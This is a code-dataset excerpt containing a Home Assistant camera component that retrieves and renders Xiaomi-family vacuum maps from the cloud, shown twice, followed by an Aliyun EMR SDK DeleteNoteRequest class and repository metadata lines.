DEFAULT_TRIMS}): vol.Schema({ vol.Optional(CONF_SCALE, default=1): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_ROTATE, default=0): vol.In([0, 90, 180, 270]), vol.Optional(CONF_TRIM, default=DEFAULT_TRIMS): vol.Schema({ vol.Optional(CONF_LEFT, default=0): PERCENT_SCHEMA, vol.Optional(CONF_RIGHT, default=0): PERCENT_SCHEMA, vol.Optional(CONF_TOP, default=0): PERCENT_SCHEMA, vol.Optional(CONF_BOTTOM, default=0): PERCENT_SCHEMA }), }), vol.Optional(CONF_ATTRIBUTES, default=[]): vol.All(cv.ensure_list, [vol.In(CONF_AVAILABLE_ATTRIBUTES)]), vol.Optional(CONF_TEXTS, default=[]): vol.All(cv.ensure_list, [vol.Schema({ vol.Required(CONF_TEXT): cv.string, vol.Required(CONF_X): vol.Coerce(float), vol.Required(CONF_Y): vol.Coerce(float), vol.Optional(CONF_COLOR, default=(0, 0, 0)): COLOR_SCHEMA, vol.Optional(CONF_FONT, default=None): vol.Or(cv.string, vol.Equal(None)), vol.Optional(CONF_FONT_SIZE, default=0): cv.positive_int })]), vol.Optional(CONF_SIZES, default=DEFAULT_SIZES): vol.Schema({ vol.Optional(CONF_SIZE_VACUUM_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_VACUUM_RADIUS]): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_SIZE_IGNORED_OBSTACLE_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_IGNORED_OBSTACLE_RADIUS]): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_SIZE_IGNORED_OBSTACLE_WITH_PHOTO_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_IGNORED_OBSTACLE_WITH_PHOTO_RADIUS]): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_SIZE_OBSTACLE_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_OBSTACLE_RADIUS]): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_SIZE_OBSTACLE_WITH_PHOTO_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_OBSTACLE_WITH_PHOTO_RADIUS]): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_SIZE_CHARGER_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_CHARGER_RADIUS]): POSITIVE_FLOAT_SCHEMA }), vol.Optional(CONF_STORE_MAP_RAW, default=False): cv.boolean, vol.Optional(CONF_STORE_MAP_IMAGE, default=False): cv.boolean, vol.Optional(CONF_STORE_MAP_PATH, default="/tmp"): cv.string, vol.Optional(CONF_FORCE_API, default=None): vol.Or(vol.In(CONF_AVAILABLE_APIS), vol.Equal(None)) }) async def async_setup_platform(hass, config, async_add_entities, discovery_info=None): await async_setup_reload_service(hass, DOMAIN, PLATFORMS) host = config[CONF_HOST] token = config[CONF_TOKEN] username = config[CONF_USERNAME] password = config[CONF_PASSWORD] country = config[CONF_COUNTRY] name = config[CONF_NAME] should_poll = config[CONF_AUTO_UPDATE] image_config = config[CONF_MAP_TRANSFORM] colors = config[CONF_COLORS] room_colors = config[CONF_ROOM_COLORS] for room, color in room_colors.items(): colors[f"{COLOR_ROOM_PREFIX}{room}"] = color drawables = config[CONF_DRAW] sizes = config[CONF_SIZES] texts = config[CONF_TEXTS] if DRAWABLE_ALL in drawables: drawables = CONF_AVAILABLE_DRAWABLES[1:] attributes = config[CONF_ATTRIBUTES] store_map_raw = config[CONF_STORE_MAP_RAW] store_map_image = config[CONF_STORE_MAP_IMAGE] store_map_path = config[CONF_STORE_MAP_PATH] force_api = config[CONF_FORCE_API] entity_id = generate_entity_id(ENTITY_ID_FORMAT, name, hass=hass) async_add_entities([VacuumCamera(entity_id, host, token, username, password, country, name, should_poll, image_config, colors, drawables, sizes, texts, attributes, store_map_raw, store_map_image, store_map_path, force_api)]) class VacuumCamera(Camera): def __init__(self, entity_id, host, token, username, password, country, name, should_poll, image_config, colors, drawables, sizes, texts, attributes, store_map_raw, store_map_image, store_map_path, force_api): super().__init__() self.entity_id = entity_id self.content_type = CONTENT_TYPE self._vacuum = miio.Vacuum(host, token) self._connector = XiaomiCloudConnector(username, password) self._status = CameraStatus.INITIALIZING self._device = None self._name = name self._should_poll = should_poll self._image_config = image_config self._colors = colors self._drawables = drawables self._sizes = sizes self._texts = texts self._attributes = attributes self._store_map_raw = store_map_raw self._store_map_image = store_map_image self._store_map_path = store_map_path self._forced_api = force_api self._used_api = None self._map_saved = None self._image = None self._map_data = None self._logged_in = False self._logged_in_previously = True self._received_map_name_previously = True self._country = country async def async_added_to_hass(self) -> None: self.async_schedule_update_ha_state(True) @property def frame_interval(self): return 1 def camera_image(self): return self._image @property def name(self): return self._name def turn_on(self): self._should_poll = True def turn_off(self): self._should_poll = False @property def supported_features(self): return SUPPORT_ON_OFF @property def device_state_attributes(self): attributes = {} if self._map_data is not None: rooms = [] if self._map_data.rooms is not None: rooms = dict( filter(lambda x: x[0] is not None, map(lambda x: (x[0], x[1].name), self._map_data.rooms.items()))) if len(rooms) == 0: rooms = list(self._map_data.rooms.keys()) for name, value in { ATTRIBUTE_CALIBRATION: self._map_data.calibration(), ATTRIBUTE_CHARGER: self._map_data.charger, ATTRIBUTE_CLEANED_ROOMS: self._map_data.cleaned_rooms, ATTRIBUTE_COUNTRY: self._country, ATTRIBUTE_GOTO: self._map_data.goto, ATTRIBUTE_GOTO_PATH: self._map_data.goto_path, ATTRIBUTE_GOTO_PREDICTED_PATH: self._map_data.predicted_path, ATTRIBUTE_IGNORED_OBSTACLES: self._map_data.ignored_obstacles, ATTRIBUTE_IGNORED_OBSTACLES_WITH_PHOTO: self._map_data.ignored_obstacles_with_photo, ATTRIBUTE_IMAGE: self._map_data.image, ATTRIBUTE_IS_EMPTY: self._map_data.image.is_empty, ATTRIBUTE_MAP_NAME: self._map_data.map_name, ATTRIBUTE_NO_GO_AREAS: self._map_data.no_go_areas, ATTRIBUTE_NO_MOPPING_AREAS: self._map_data.no_mopping_areas, ATTRIBUTE_OBSTACLES: self._map_data.obstacles, ATTRIBUTE_OBSTACLES_WITH_PHOTO: self._map_data.obstacles_with_photo, ATTRIBUTE_PATH: self._map_data.path, ATTRIBUTE_ROOM_NUMBERS: rooms, ATTRIBUTE_ROOMS: self._map_data.rooms, ATTRIBUTE_VACUUM_POSITION: self._map_data.vacuum_position, ATTRIBUTE_VACUUM_ROOM: self._map_data.vacuum_room, ATTRIBUTE_VACUUM_ROOM_NAME: self._map_data.vacuum_room_name, ATTRIBUTE_WALLS: self._map_data.walls, ATTRIBUTE_ZONES: self._map_data.zones }.items(): if name in self._attributes: attributes[name] = value if self._store_map_raw: attributes[ATTRIBUTE_MAP_SAVED] = self._map_saved if self._device is not None: attributes[ATTR_MODEL] = self._device.model attributes[ATTR_USED_API] = self._used_api return attributes @property def should_poll(self): return self._should_poll def update(self): counter = 10 if self._status != CameraStatus.TWO_FACTOR_AUTH_REQUIRED and not self._logged_in: self._handle_login() if self._device is None and self._logged_in: self._handle_device() map_name = self._handle_map_name(counter) if map_name == "retry" and self._device is not None: self._status = CameraStatus.FAILED_TO_RETRIEVE_MAP_FROM_VACUUM self._received_map_name_previously = map_name != "retry" if self._logged_in and map_name != "retry" and self._device is not None: self._handle_map_data(map_name) else: _LOGGER.debug("Unable to retrieve map, reasons: Logged in - %s, map name - %s, device retrieved - %s", self._logged_in, map_name, self._device is not None) self._set_map_data(MapDataParser.create_empty(self._colors, str(self._status))) self._logged_in_previously = self._logged_in def _handle_login(self): _LOGGER.debug("Logging in...") self._logged_in = self._connector.login() if self._logged_in is None: _LOGGER.debug("2FA required") self._status = CameraStatus.TWO_FACTOR_AUTH_REQUIRED elif self._logged_in: _LOGGER.debug("Logged in") self._status = CameraStatus.LOGGED_IN else: _LOGGER.debug("Failed to log in") self._status = CameraStatus.FAILED_LOGIN if self._logged_in_previously: _LOGGER.error("Unable to log in, check credentials") def _handle_device(self): _LOGGER.debug("Retrieving device info, country: %s", self._country) country, user_id, device_id, model = self._connector.get_device_details(self._vacuum.token, self._country) if model is not None: self._country = country _LOGGER.debug("Retrieved device model: %s", model) self._device = self._create_device(user_id, device_id, model) _LOGGER.debug("Created device, used api: %s", self._used_api) else: _LOGGER.error("Failed to retrieve model") self._status = CameraStatus.FAILED_TO_RETRIEVE_DEVICE def _handle_map_name(self, counter): map_name = "retry" if self._device is not None and not self._device.should_get_map_from_vacuum(): map_name = "0" while map_name == "retry" and counter > 0: _LOGGER.debug("Retrieving map name from device") time.sleep(0.1) try: map_name = self._vacuum.map()[0] _LOGGER.debug("Map name %s", map_name) except OSError as exc: _LOGGER.error("Got OSError while fetching the state: %s", exc) except miio.DeviceException as exc: if self._received_map_name_previously: _LOGGER.warning("Got exception while fetching the state: %s", exc) self._received_map_name_previously = False finally: counter = counter - 1 return map_name def _handle_map_data(self, map_name): _LOGGER.debug("Retrieving map from Xiaomi cloud") store_map_path = self._store_map_path if self._store_map_raw else None map_data, map_stored = self._device.get_map(map_name, self._colors, self._drawables, self._texts, self._sizes, self._image_config, store_map_path) if map_data is not None: # noinspection PyBroadException try: _LOGGER.debug("Map data retrieved") self._set_map_data(map_data) self._map_saved = map_stored if self._map_data.image.is_empty: _LOGGER.debug("Map is empty") self._status = CameraStatus.EMPTY_MAP else: _LOGGER.debug("Map is ok") self._status = CameraStatus.OK except: _LOGGER.warning("Unable to parse map data") self._status = CameraStatus.UNABLE_TO_PARSE_MAP else: self._logged_in = False _LOGGER.warning("Unable to retrieve map data") self._status = CameraStatus.UNABLE_TO_RETRIEVE_MAP def _set_map_data(self, map_data): img_byte_arr = io.BytesIO() map_data.image.data.save(img_byte_arr, format='PNG') self._image = img_byte_arr.getvalue() self._map_data = map_data self._store_image() def _create_device(self, user_id, device_id, model): self._used_api = self._detect_api(model) if self._used_api == CONF_AVAILABLE_API_XIAOMI: return XiaomiVacuum(self._connector, self._country, user_id, device_id, model) if self._used_api == CONF_AVAILABLE_API_VIOMI: return ViomiVacuum(self._connector, self._country, user_id, device_id, model) if self._used_api == CONF_AVAILABLE_API_ROIDMI: return RoidmiVacuum(self._connector, self._country, user_id, device_id, model) if self._used_api == CONF_AVAILABLE_API_DREAME: return DreameVacuum(self._connector, self._country, user_id, device_id, model) return XiaomiVacuum(self._connector, self._country, user_id, device_id, model) def _detect_api(self, model: str): if self._forced_api is not None: return self._forced_api if model in API_EXCEPTIONS: return API_EXCEPTIONS[model] def list_contains_model(prefixes): return len(list(filter(lambda x: model.startswith(x), prefixes))) > 0 filtered = list(filter(lambda x: list_contains_model(x[1]), AVAILABLE_APIS.items())) if len(filtered) > 0: return filtered[0][0] return CONF_AVAILABLE_API_XIAOMI def _store_image(self): if self._store_map_image: try: image = Image.open(io.BytesIO(self._image)) image.save(f"{self._store_map_path}/map_image_{self._device.model}.png") except: _LOGGER.warning("Error while saving image") class CameraStatus(Enum): EMPTY_MAP = 'Empty map' FAILED_LOGIN = 'Failed to login' FAILED_TO_RETRIEVE_DEVICE = 'Failed to retrieve device' FAILED_TO_RETRIEVE_MAP_FROM_VACUUM = 'Failed to retrieve map from vacuum' INITIALIZING = 'Initializing' NOT_LOGGED_IN = 'Not logged in' OK = 'OK' LOGGED_IN = 'Logged in' TWO_FACTOR_AUTH_REQUIRED = 'Two factor auth required (see logs)' UNABLE_TO_PARSE_MAP = 'Unable to parse map' UNABLE_TO_RETRIEVE_MAP = 'Unable to retrieve map' def __str__(self): return str(self._value_)

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import io import logging import time from datetime import timedelta from enum import Enum import miio import PIL.Image as Image import voluptuous as vol from homeassistant.components.camera import Camera, ENTITY_ID_FORMAT, PLATFORM_SCHEMA, SUPPORT_ON_OFF from homeassistant.const import CONF_HOST, CONF_NAME, CONF_PASSWORD, CONF_TOKEN, CONF_USERNAME from homeassistant.helpers import config_validation as cv from homeassistant.helpers.entity import generate_entity_id from homeassistant.helpers.reload import async_setup_reload_service from custom_components.xiaomi_cloud_map_extractor.common.map_data_parser import MapDataParser from custom_components.xiaomi_cloud_map_extractor.common.xiaomi_cloud_connector import XiaomiCloudConnector from custom_components.xiaomi_cloud_map_extractor.const import * from custom_components.xiaomi_cloud_map_extractor.dreame.vacuum import DreameVacuum from custom_components.xiaomi_cloud_map_extractor.roidmi.vacuum import RoidmiVacuum from custom_components.xiaomi_cloud_map_extractor.viomi.vacuum import ViomiVacuum from custom_components.xiaomi_cloud_map_extractor.xiaomi.vacuum import XiaomiVacuum _LOGGER = logging.getLogger(__name__) SCAN_INTERVAL = timedelta(seconds=5) DEFAULT_TRIMS = { CONF_LEFT: 0, CONF_RIGHT: 0, CONF_TOP: 0, CONF_BOTTOM: 0 } DEFAULT_SIZES = { CONF_SIZE_VACUUM_RADIUS: 4, CONF_SIZE_IGNORED_OBSTACLE_RADIUS: 3, CONF_SIZE_IGNORED_OBSTACLE_WITH_PHOTO_RADIUS: 3, CONF_SIZE_OBSTACLE_RADIUS: 3, CONF_SIZE_OBSTACLE_WITH_PHOTO_RADIUS: 3, CONF_SIZE_CHARGER_RADIUS: 4 } COLOR_SCHEMA = vol.Or( vol.All(vol.Length(min=3, max=3), vol.ExactSequence((cv.byte, cv.byte, cv.byte)), vol.Coerce(tuple)), vol.All(vol.Length(min=4, max=4), vol.ExactSequence((cv.byte, cv.byte, cv.byte, cv.byte)), vol.Coerce(tuple)) ) PERCENT_SCHEMA = vol.All(vol.Coerce(float), vol.Range(min=0, max=100)) POSITIVE_FLOAT_SCHEMA = vol.All(vol.Coerce(float), vol.Range(min=0)) PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend( { vol.Required(CONF_HOST): cv.string, vol.Required(CONF_TOKEN): vol.All(str, vol.Length(min=32, max=32)), vol.Required(CONF_USERNAME): cv.string, vol.Required(CONF_PASSWORD): cv.string, vol.Optional(CONF_COUNTRY, default=None): vol.Or(vol.In(CONF_AVAILABLE_COUNTRIES), vol.Equal(None)), vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, vol.Optional(CONF_AUTO_UPDATE, default=True): cv.boolean, vol.Optional(CONF_COLORS, default={}): vol.Schema({ vol.In(CONF_AVAILABLE_COLORS): COLOR_SCHEMA }), vol.Optional(CONF_ROOM_COLORS, default={}): vol.Schema({ cv.positive_int: COLOR_SCHEMA }), vol.Optional(CONF_DRAW, default=[]): vol.All(cv.ensure_list, [vol.In(CONF_AVAILABLE_DRAWABLES)]), vol.Optional(CONF_MAP_TRANSFORM, default={CONF_SCALE: 1, CONF_ROTATE: 0, CONF_TRIM: DEFAULT_TRIMS}): vol.Schema({ vol.Optional(CONF_SCALE, default=1): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_ROTATE, default=0): vol.In([0, 90, 180, 270]), vol.Optional(CONF_TRIM, default=DEFAULT_TRIMS): vol.Schema({ vol.Optional(CONF_LEFT, default=0): PERCENT_SCHEMA, vol.Optional(CONF_RIGHT, default=0): PERCENT_SCHEMA, vol.Optional(CONF_TOP, default=0): PERCENT_SCHEMA, vol.Optional(CONF_BOTTOM, default=0): PERCENT_SCHEMA }), }), vol.Optional(CONF_ATTRIBUTES, default=[]): vol.All(cv.ensure_list, [vol.In(CONF_AVAILABLE_ATTRIBUTES)]), vol.Optional(CONF_TEXTS, default=[]): vol.All(cv.ensure_list, [vol.Schema({ vol.Required(CONF_TEXT): cv.string, vol.Required(CONF_X): vol.Coerce(float), vol.Required(CONF_Y): vol.Coerce(float), vol.Optional(CONF_COLOR, default=(0, 0, 0)): COLOR_SCHEMA, vol.Optional(CONF_FONT, default=None): vol.Or(cv.string, vol.Equal(None)), vol.Optional(CONF_FONT_SIZE, default=0): cv.positive_int })]), vol.Optional(CONF_SIZES, default=DEFAULT_SIZES): vol.Schema({ vol.Optional(CONF_SIZE_VACUUM_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_VACUUM_RADIUS]): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_SIZE_IGNORED_OBSTACLE_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_IGNORED_OBSTACLE_RADIUS]): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_SIZE_IGNORED_OBSTACLE_WITH_PHOTO_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_IGNORED_OBSTACLE_WITH_PHOTO_RADIUS]): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_SIZE_OBSTACLE_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_OBSTACLE_RADIUS]): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_SIZE_OBSTACLE_WITH_PHOTO_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_OBSTACLE_WITH_PHOTO_RADIUS]): POSITIVE_FLOAT_SCHEMA, vol.Optional(CONF_SIZE_CHARGER_RADIUS, default=DEFAULT_SIZES[CONF_SIZE_CHARGER_RADIUS]): POSITIVE_FLOAT_SCHEMA }), vol.Optional(CONF_STORE_MAP_RAW, default=False): cv.boolean, vol.Optional(CONF_STORE_MAP_IMAGE, default=False): cv.boolean, vol.Optional(CONF_STORE_MAP_PATH, default="/tmp"): cv.string, vol.Optional(CONF_FORCE_API, default=None): vol.Or(vol.In(CONF_AVAILABLE_APIS), vol.Equal(None)) }) async def async_setup_platform(hass, config, async_add_entities, discovery_info=None): await async_setup_reload_service(hass, DOMAIN, PLATFORMS) host = config[CONF_HOST] token = config[CONF_TOKEN] username = config[CONF_USERNAME] password = config[CONF_PASSWORD] country = config[CONF_COUNTRY] name = config[CONF_NAME] should_poll = config[CONF_AUTO_UPDATE] image_config = config[CONF_MAP_TRANSFORM] colors = config[CONF_COLORS] room_colors = config[CONF_ROOM_COLORS] for room, color in room_colors.items(): colors[f"{COLOR_ROOM_PREFIX}{room}"] = color drawables = config[CONF_DRAW] sizes = config[CONF_SIZES] texts = config[CONF_TEXTS] if DRAWABLE_ALL in drawables: drawables = CONF_AVAILABLE_DRAWABLES[1:] attributes = config[CONF_ATTRIBUTES] store_map_raw = config[CONF_STORE_MAP_RAW] store_map_image = config[CONF_STORE_MAP_IMAGE] store_map_path = config[CONF_STORE_MAP_PATH] force_api = config[CONF_FORCE_API] entity_id = generate_entity_id(ENTITY_ID_FORMAT, name, hass=hass) async_add_entities([VacuumCamera(entity_id, host, token, username, password, country, name, should_poll, image_config, colors, drawables, sizes, texts, attributes, store_map_raw, store_map_image, store_map_path, force_api)]) class VacuumCamera(Camera): def __init__(self, entity_id, host, token, username, password, country, name, should_poll, image_config, colors, drawables, sizes, texts, attributes, store_map_raw, store_map_image, store_map_path, force_api): super().__init__() self.entity_id = entity_id self.content_type = CONTENT_TYPE self._vacuum = miio.Vacuum(host, token) self._connector = XiaomiCloudConnector(username, password) self._status = CameraStatus.INITIALIZING self._device = None self._name = name self._should_poll = should_poll self._image_config = image_config self._colors = colors self._drawables = drawables self._sizes = sizes self._texts = texts self._attributes = attributes self._store_map_raw = store_map_raw self._store_map_image = store_map_image self._store_map_path = store_map_path self._forced_api = force_api self._used_api = None self._map_saved = None self._image = None self._map_data = None self._logged_in = False self._logged_in_previously = True self._received_map_name_previously = True self._country = country async def async_added_to_hass(self) -> None: self.async_schedule_update_ha_state(True) @property def frame_interval(self): return 1 def camera_image(self): return self._image @property def name(self): return self._name def turn_on(self): self._should_poll = True def turn_off(self): self._should_poll = False @property def supported_features(self): return SUPPORT_ON_OFF @property def device_state_attributes(self): attributes = {} if self._map_data is not None: rooms = [] if self._map_data.rooms is not None: rooms = dict( filter(lambda x: x[0] is not None, map(lambda x: (x[0], x[1].name), self._map_data.rooms.items()))) if len(rooms) == 0: rooms = list(self._map_data.rooms.keys()) for name, value in { ATTRIBUTE_CALIBRATION: self._map_data.calibration(), ATTRIBUTE_CHARGER: self._map_data.charger, ATTRIBUTE_CLEANED_ROOMS: self._map_data.cleaned_rooms, ATTRIBUTE_COUNTRY: self._country, ATTRIBUTE_GOTO: self._map_data.goto, ATTRIBUTE_GOTO_PATH: self._map_data.goto_path, ATTRIBUTE_GOTO_PREDICTED_PATH: self._map_data.predicted_path, ATTRIBUTE_IGNORED_OBSTACLES: self._map_data.ignored_obstacles, ATTRIBUTE_IGNORED_OBSTACLES_WITH_PHOTO: self._map_data.ignored_obstacles_with_photo, ATTRIBUTE_IMAGE: self._map_data.image, ATTRIBUTE_IS_EMPTY: self._map_data.image.is_empty, ATTRIBUTE_MAP_NAME: self._map_data.map_name, ATTRIBUTE_NO_GO_AREAS: self._map_data.no_go_areas, ATTRIBUTE_NO_MOPPING_AREAS: self._map_data.no_mopping_areas, ATTRIBUTE_OBSTACLES: self._map_data.obstacles, ATTRIBUTE_OBSTACLES_WITH_PHOTO: self._map_data.obstacles_with_photo, ATTRIBUTE_PATH: self._map_data.path, ATTRIBUTE_ROOM_NUMBERS: rooms, ATTRIBUTE_ROOMS: self._map_data.rooms, ATTRIBUTE_VACUUM_POSITION: self._map_data.vacuum_position, ATTRIBUTE_VACUUM_ROOM: self._map_data.vacuum_room, ATTRIBUTE_VACUUM_ROOM_NAME: self._map_data.vacuum_room_name, ATTRIBUTE_WALLS: self._map_data.walls, ATTRIBUTE_ZONES: self._map_data.zones }.items(): if name in self._attributes: attributes[name] = value if self._store_map_raw: attributes[ATTRIBUTE_MAP_SAVED] = self._map_saved if self._device is not None: attributes[ATTR_MODEL] = self._device.model attributes[ATTR_USED_API] = self._used_api return attributes @property def should_poll(self): return self._should_poll def update(self): counter = 10 if self._status != CameraStatus.TWO_FACTOR_AUTH_REQUIRED and not self._logged_in: self._handle_login() if self._device is None and self._logged_in: self._handle_device() map_name = self._handle_map_name(counter) if map_name == "retry" and self._device is not None: self._status = CameraStatus.FAILED_TO_RETRIEVE_MAP_FROM_VACUUM self._received_map_name_previously = map_name != "retry" if self._logged_in and map_name != "retry" and self._device is not None: self._handle_map_data(map_name) else: _LOGGER.debug("Unable to retrieve map, reasons: Logged in - %s, map name - %s, device retrieved - %s", self._logged_in, map_name, self._device is not None) self._set_map_data(MapDataParser.create_empty(self._colors, str(self._status))) self._logged_in_previously = self._logged_in def _handle_login(self): _LOGGER.debug("Logging in...") self._logged_in = self._connector.login() if self._logged_in is None: _LOGGER.debug("2FA required") self._status = CameraStatus.TWO_FACTOR_AUTH_REQUIRED elif self._logged_in: _LOGGER.debug("Logged in") self._status = CameraStatus.LOGGED_IN else: _LOGGER.debug("Failed to log in") self._status = CameraStatus.FAILED_LOGIN if self._logged_in_previously: _LOGGER.error("Unable to log in, check credentials") def _handle_device(self): _LOGGER.debug("Retrieving device info, country: %s", self._country) country, user_id, device_id, model = self._connector.get_device_details(self._vacuum.token, self._country) if model is not None: self._country = country _LOGGER.debug("Retrieved device model: %s", model) self._device = self._create_device(user_id, device_id, model) _LOGGER.debug("Created device, used api: %s", self._used_api) else: _LOGGER.error("Failed to retrieve model") self._status = CameraStatus.FAILED_TO_RETRIEVE_DEVICE def _handle_map_name(self, counter): map_name = "retry" if self._device is not None and not self._device.should_get_map_from_vacuum(): map_name = "0" while map_name == "retry" and counter > 0: _LOGGER.debug("Retrieving map name from device") time.sleep(0.1) try: map_name = self._vacuum.map()[0] _LOGGER.debug("Map name %s", map_name) except OSError as exc: _LOGGER.error("Got OSError while fetching the state: %s", exc) except miio.DeviceException as exc: if self._received_map_name_previously: _LOGGER.warning("Got exception while fetching the state: %s", exc) self._received_map_name_previously = False finally: counter = counter - 1 return map_name def _handle_map_data(self, map_name): _LOGGER.debug("Retrieving map from Xiaomi cloud") store_map_path = self._store_map_path if self._store_map_raw else None map_data, map_stored = self._device.get_map(map_name, self._colors, self._drawables, self._texts, self._sizes, self._image_config, store_map_path) if map_data is not None: try: _LOGGER.debug("Map data retrieved") self._set_map_data(map_data) self._map_saved = map_stored if self._map_data.image.is_empty: _LOGGER.debug("Map is empty") self._status = CameraStatus.EMPTY_MAP else: _LOGGER.debug("Map is ok") self._status = CameraStatus.OK except: _LOGGER.warning("Unable to parse map data") self._status = CameraStatus.UNABLE_TO_PARSE_MAP else: self._logged_in = False _LOGGER.warning("Unable to retrieve map data") self._status = CameraStatus.UNABLE_TO_RETRIEVE_MAP def _set_map_data(self, map_data): img_byte_arr = io.BytesIO() map_data.image.data.save(img_byte_arr, format='PNG') self._image = img_byte_arr.getvalue() self._map_data = map_data self._store_image() def _create_device(self, user_id, device_id, model): self._used_api = self._detect_api(model) if self._used_api == CONF_AVAILABLE_API_XIAOMI: return XiaomiVacuum(self._connector, self._country, user_id, device_id, model) if self._used_api == CONF_AVAILABLE_API_VIOMI: return ViomiVacuum(self._connector, self._country, user_id, device_id, model) if self._used_api == CONF_AVAILABLE_API_ROIDMI: return RoidmiVacuum(self._connector, self._country, user_id, device_id, model) if self._used_api == CONF_AVAILABLE_API_DREAME: return DreameVacuum(self._connector, self._country, user_id, device_id, model) return XiaomiVacuum(self._connector, self._country, user_id, device_id, model) def _detect_api(self, model: str): if self._forced_api is not None: return self._forced_api if model in API_EXCEPTIONS: return API_EXCEPTIONS[model] def list_contains_model(prefixes): return len(list(filter(lambda x: model.startswith(x), prefixes))) > 0 filtered = list(filter(lambda x: list_contains_model(x[1]), AVAILABLE_APIS.items())) if len(filtered) > 0: return filtered[0][0] return CONF_AVAILABLE_API_XIAOMI def _store_image(self): if self._store_map_image: try: image = Image.open(io.BytesIO(self._image)) image.save(f"{self._store_map_path}/map_image_{self._device.model}.png") except: _LOGGER.warning("Error while saving image") class CameraStatus(Enum): EMPTY_MAP = 'Empty map' FAILED_LOGIN = 'Failed to login' FAILED_TO_RETRIEVE_DEVICE = 'Failed to retrieve device' FAILED_TO_RETRIEVE_MAP_FROM_VACUUM = 'Failed to retrieve map from vacuum' INITIALIZING = 'Initializing' NOT_LOGGED_IN = 'Not logged in' OK = 'OK' LOGGED_IN = 'Logged in' TWO_FACTOR_AUTH_REQUIRED = 'Two factor auth required (see logs)' UNABLE_TO_PARSE_MAP = 'Unable to parse map' UNABLE_TO_RETRIEVE_MAP = 'Unable to retrieve map' def __str__(self): return str(self._value_)

true

1c42205c2c3bdfdbae7dda9529705e4baf7faae6

1,586

py

Python

aliyun-python-sdk-emr/aliyunsdkemr/request/v20160408/DeleteNoteRequest.py

liumihust/aliyun-openapi-python-sdk

c7b5dd4befae4b9c59181654289f9272531207ef

[ "Apache-2.0" ]

null

aliyun-python-sdk-emr/aliyunsdkemr/request/v20160408/DeleteNoteRequest.py

liumihust/aliyun-openapi-python-sdk

c7b5dd4befae4b9c59181654289f9272531207ef

[ "Apache-2.0" ]

null

aliyun-python-sdk-emr/aliyunsdkemr/request/v20160408/DeleteNoteRequest.py

liumihust/aliyun-openapi-python-sdk

c7b5dd4befae4b9c59181654289f9272531207ef

[ "Apache-2.0" ]

null

# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # # http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from aliyunsdkcore.request import RpcRequest from aliyunsdkemr.endpoint import endpoint_data class DeleteNoteRequest(RpcRequest): def __init__(self): RpcRequest.__init__(self, 'Emr', '2016-04-08', 'DeleteNote','emr') if hasattr(self, "endpoint_map"): setattr(self, "endpoint_map", endpoint_data.getEndpointMap()) if hasattr(self, "endpoint_regional"): setattr(self, "endpoint_regional", endpoint_data.getEndpointRegional()) def get_ResourceOwnerId(self): return self.get_query_params().get('ResourceOwnerId') def set_ResourceOwnerId(self,ResourceOwnerId): self.add_query_param('ResourceOwnerId',ResourceOwnerId) def get_Id(self): return self.get_query_params().get('Id') def set_Id(self,Id): self.add_query_param('Id',Id)

36.883721

75

0.750315

from aliyunsdkcore.request import RpcRequest from aliyunsdkemr.endpoint import endpoint_data class DeleteNoteRequest(RpcRequest): def __init__(self): RpcRequest.__init__(self, 'Emr', '2016-04-08', 'DeleteNote','emr') if hasattr(self, "endpoint_map"): setattr(self, "endpoint_map", endpoint_data.getEndpointMap()) if hasattr(self, "endpoint_regional"): setattr(self, "endpoint_regional", endpoint_data.getEndpointRegional()) def get_ResourceOwnerId(self): return self.get_query_params().get('ResourceOwnerId') def set_ResourceOwnerId(self,ResourceOwnerId): self.add_query_param('ResourceOwnerId',ResourceOwnerId) def get_Id(self): return self.get_query_params().get('Id') def set_Id(self,Id): self.add_query_param('Id',Id)

true

1c422200b03e653ed0fce33c03d778100afa9fd7

2,131

py

Python

data_process/2d_1d/simon/upload_data_to_db.py

ribuild/delphin_6_automation

12024381fc1042b46314c55d88b6349229ea33b7

[ "MIT" ]

2

2017-11-08T18:37:36.000Z

2018-01-09T12:10:58.000Z

data_process/2d_1d/simon/upload_data_to_db.py

ribuild/delphin_6_automation

12024381fc1042b46314c55d88b6349229ea33b7

[ "MIT" ]

111

2018-02-26T08:25:44.000Z

2021-03-31T19:17:19.000Z

data_process/2d_1d/simon/upload_data_to_db.py

thp44/delphin_6_automation

12024381fc1042b46314c55d88b6349229ea33b7

[ "MIT" ]

3

2017-11-06T10:01:25.000Z

2018-02-14T09:45:28.000Z

